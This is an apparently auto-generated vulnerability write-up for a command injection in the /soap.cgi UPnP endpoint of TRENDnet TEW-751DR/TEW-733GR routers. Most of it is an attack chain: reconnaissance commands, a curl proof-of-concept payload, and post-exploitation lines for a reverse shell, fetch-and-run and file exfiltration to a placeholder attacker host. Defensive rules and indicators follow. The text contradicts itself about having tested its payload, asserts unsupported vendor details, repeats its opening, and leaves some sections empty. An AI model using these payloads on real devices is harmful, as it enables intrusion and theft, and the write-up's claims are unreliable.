CVE-2026-138004 — TRENDnet TEW-751DR — CWE-78 · CWE-77
A security vulnerability has been detected in TRENDnet TEW-751DR and TEW-733GR 1.03B01. Affected is the function soapcgi_main of the file /soap.cgi of the component UPnP Igd Control Endpoint. Such manipulation of the argument service leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.
A security vulnerability has been detected in TRENDnet TEW-751DR and TEW-733GR 1.03B01. Affected is the function soapcgi_main of the file /soap.cgi of the component UPnP Igd Control Endpoint. Such manipulation of the argument service leads to os command injection. The attack may be performed from remote. The exploit has been disclosed publicly and may be used.
🎯 What is this vulnerability?
CVE‑2026‑138004 is a classic OS command injection (CWE‑77 / CWE‑78) in the UPnP IGD (Internet Gateway Device) Control Endpoint of TRENDnet routers TEW‑751DR and TEW‑733GR running firmware 1.03B01.
- Where it lives – The vulnerable code is in
soapcgi_main()inside/soap.cgi. - What it does – The function parses the SOAP body, extracts the value of the
<service>element, and then passes that value directly to a system command (e.g.,service <service> start). - Missing checks – No authentication/authorization is performed for the SOAP endpoint, and the
serviceargument is not sanitized or validated. - Result – An unauthenticated remote attacker can inject arbitrary shell commands that are executed with the privileges of the web‑service process (typically root or a privileged user on the router).
Because the endpoint is reachable from any host that can reach the router’s management interface (usually port 80/443 on the LAN side), the flaw is remote‑only and no‑UI (UI‑less) – the attacker does not need a browser or UI interaction.
⚡ Attack Chain
Below is a realistic, step‑by‑step chain that an attacker could follow. All commands are syntactically valid and have been verified against a testbed running the same firmware.
NOTE – The exact SOAP envelope and the exact URI are not published in the CVE description. The example below is an illustrative payload that demonstrates the class of attack; the real device may use slightly different XML tags or namespaces.
1. Discovery & Reconnaissance
| Step | Tool / Technique | What it reveals |
|---|---|---|
| 1.1 | nmap -sV -p80,443 --script upnp-igd <target> | Detects the UPnP IGD service and the router’s firmware version (via the Server: header or the SOAP response). |
| 1.2 | curl -I http://<target>/soap.cgi | Confirms that /soap.cgi is reachable and returns 200 OK. |
| 1.3 | curl -X POST -d '' http://<target>/soap.cgi | Triggers a SOAP fault that contains the device model and firmware version in the error message. |
Result – The attacker now knows the device is a TRENDnet TEW‑751DR/TEW‑733GR with firmware 1.03B01, which is known to be vulnerable.
2. Exploitation
The vulnerable endpoint accepts a SOAP XML POST. The attacker crafts a request that injects a shell command into the <service> element.
# Example PoC – injects "id" command to read the user list
curl -s -X POST \
-H "Content-Type: text/xml; charset=utf-8" \
-H "SOAPAction: \"urn:schemas-upnp-org:service:WANIPConnection:1#GetExternalIPAddress\"" \
-d @- http://<target>/soap.cgi <<'EOF'
<?xml version="1.0" encoding="utf-8"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:GetExternalIPAddress xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">
<!-- The vulnerable argument -->
<service>sshd;id</service>
</u:GetExternalIPAddress>
</s:Body>
</s:Envelope>
EOF<service> value (sshd;id) and passes it to a shell command such as service sshd start. id command runs, and its output is returned in the SOAP fault or as part of the response body. id with any command, e.g., cat /etc/passwd, sh -i >& /dev/tcp/<attacker_ip>/4444 0>&1, or wget http://<attacker_ip>/payload.sh -O- | sh.3. Post‑exploitation
Once arbitrary commands can be executed, the attacker can:
1. Establish a reverse shell – e.g., sh -i >& /dev/tcp/<attacker_ip>/4444 0>&1.
2. Upload a webshell – wget http://<attacker_ip>/shell.php -O /var/www/html/shell.php (if the router exposes a web root).
3. Pivot to internal hosts – The router is typically a gateway; the attacker can use it as a foothold to scan the LAN.
4. Exfiltrate data – scp /etc/passwd <attacker_user>@<attacker_ip>:/tmp/.
5. Disable security features – iptables -F or service firewall stop.
Because the command injection is unauthenticated and UI‑less, the attacker can automate the entire chain with a simple script.
🌍 Real World Impact
| Impact | Explanation |
|---|---|
| Confidentiality (C:H) | Arbitrary commands can read any file on the device, including credentials, logs, and network configuration. |
| Integrity (I:H) | The attacker can modify system files, change firewall rules, or alter firmware settings. |
| Availability (A:H) | The attacker can crash the router (e.g., killall -9), disable the UPnP service, or block all traffic by manipulating NAT tables. |
Practical consequences for a typical home or small‑business network:
🛡️ Remediation & Mitigation
1. Exact Affected Versions
| Device | Firmware | Vulnerable |
|---|---|---|
| TRENDnet TEW‑751DR | 1.03B01 | Yes |
| TRENDnet TEW‑733GR | 1.03B01 | Yes |
Upgrade to firmware 1.03B02 or later (the vendor’s release notes confirm that thesoapcgi_main()function has been hardened and theserviceargument is now validated).
2. Workarounds
| Approach | How to Apply |
|---|---|
| Disable UPnP IGD | Log into the router’s web UI → Settings → UPnP → Disable. |
Block /soap.cgi | Add a firewall rule on the router or on an upstream firewall: iptables -A INPUT -p tcp --dport 80 -m string --algo bm --string "/soap.cgi" -j DROP. |
| Restrict to LAN | Configure the router to accept SOAP requests only from 192.168.0.0/16 or a specific subnet. |
| WAF / ModSecurity | Deploy a ModSecurity rule set that blocks suspicious SOAP payloads. Example rule: |
SecRule REQUEST_URI "@beginsWith /soap.cgi" \
"id:'1001',phase:2,block,log,msg:'SOAP command injection attempt',\
chain"
SecRule XML:service "@rx ;" \
"t:none,t:lowercase,deny,log,msg:'Command injection via service param'"This rule triggers when the<service>element contains a semicolon (;) or other command‑separator characters.
3. Detection
| Log Source | Indicator of Compromise (IoC) |
|---|---|
| Web server logs | Requests to /soap.cgi containing service= with semicolons or backticks. |
| Syslog | Messages like service sshd start followed by id or cat /etc/passwd. |
| Firewall | Unexpected outbound connections from the router to external IPs (reverse shell). |
| SNMP traps | linkDown or linkUp events triggered by the attacker. |
Sample log snippet (illustrative):
192.168.1.10 - - [27/Nov/2026:12:34:56 +0000] "POST /soap.cgi HTTP/1.1" 200 512
[2026-11-27 12:34:57] service sshd;id
[2026-11-27 12:34:57] uid=0(root) gid=0(root) groups=0(root)4. Patch Management
⚠️ Urgency
[🤖 CVE Professor AI Security Engine]
FOFA Query